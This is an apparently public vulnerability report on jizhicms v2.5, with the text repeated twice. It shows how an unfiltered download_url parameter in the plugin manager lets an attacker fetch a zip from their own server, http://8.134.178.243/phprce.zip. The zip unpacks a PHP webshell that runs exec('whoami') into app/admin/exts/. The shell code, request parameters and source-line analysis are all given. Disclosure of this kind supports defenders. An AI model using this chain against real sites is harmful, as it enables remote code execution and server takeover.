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find_some_cms
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jizhicms v2.5 Arbitrary download command execution
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#I8O7IV
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Opened this issue
2023-12-13 22:38
The vulnerability is located in: Extension Management - Plugin Lis  Choose any plugin to download, [Burp Suite] captures data packets  The controllable parameter is [download_URL] Construct a special zip file Create phprce.php with the following content: `<?php $result = exec('whoami'); echo '<pre>' . $result . '</pre>'; ?> `  Then compress it into a zip file  Upload to VPS and enable HTTP server  Download_ Change the parameters of the URL to the special zip we uploaded to VPS   Download successful Vulnerability source code analysis: Vulnerability location:/app/admin/c/PluginsController.php  Packet analysis action =start-download &filepath =apidata &download_url =http://8.134.178.243/phprce.zip Search for start download in the source code  Set to/app/admin/c/PluginsController.php  Search for download_ URL    Follow up and check, at line 642,643, obtain the download address from the request parameter, but there is no response to the download_ Any filtering of the URL parameter may result in arbitrary requests for external resources due to vulnerabilities in the curl resource request code, leading to arbitrary file downloads Download the zip file and then perform the decompression operation,   At line 700, the decompression is performed, and at line 705, the function is called to decompress. The decompressed file is stored in app/admin/exts/, following the previous decompression function get_ Zip_ Originalsize ($tmp path, $path)  839 behavior get_ Zip_ The originalsize ($tmp path, $path) function is used, so when action=file upzip, the decompression operation is performed  Visit: www.jizhi.mm/app/admin/exts/phprce.php 
The vulnerability is located in: Extension Management - Plugin Lis  Choose any plugin to download, [Burp Suite] captures data packets  The controllable parameter is [download_URL] Construct a special zip file Create phprce.php with the following content: `<?php $result = exec('whoami'); echo '<pre>' . $result . '</pre>'; ?> `  Then compress it into a zip file  Upload to VPS and enable HTTP server  Download_ Change the parameters of the URL to the special zip we uploaded to VPS   Download successful Vulnerability source code analysis: Vulnerability location:/app/admin/c/PluginsController.php  Packet analysis action =start-download &filepath =apidata &download_url =http://8.134.178.243/phprce.zip Search for start download in the source code  Set to/app/admin/c/PluginsController.php  Search for download_ URL    Follow up and check, at line 642,643, obtain the download address from the request parameter, but there is no response to the download_ Any filtering of the URL parameter may result in arbitrary requests for external resources due to vulnerabilities in the curl resource request code, leading to arbitrary file downloads Download the zip file and then perform the decompression operation,   At line 700, the decompression is performed, and at line 705, the function is called to decompress. The decompressed file is stored in app/admin/exts/, following the previous decompression function get_ Zip_ Originalsize ($tmp path, $path)  839 behavior get_ Zip_ The originalsize ($tmp path, $path) function is used, so when action=file upzip, the decompression operation is performed  Visit: www.jizhi.mm/app/admin/exts/phprce.php 
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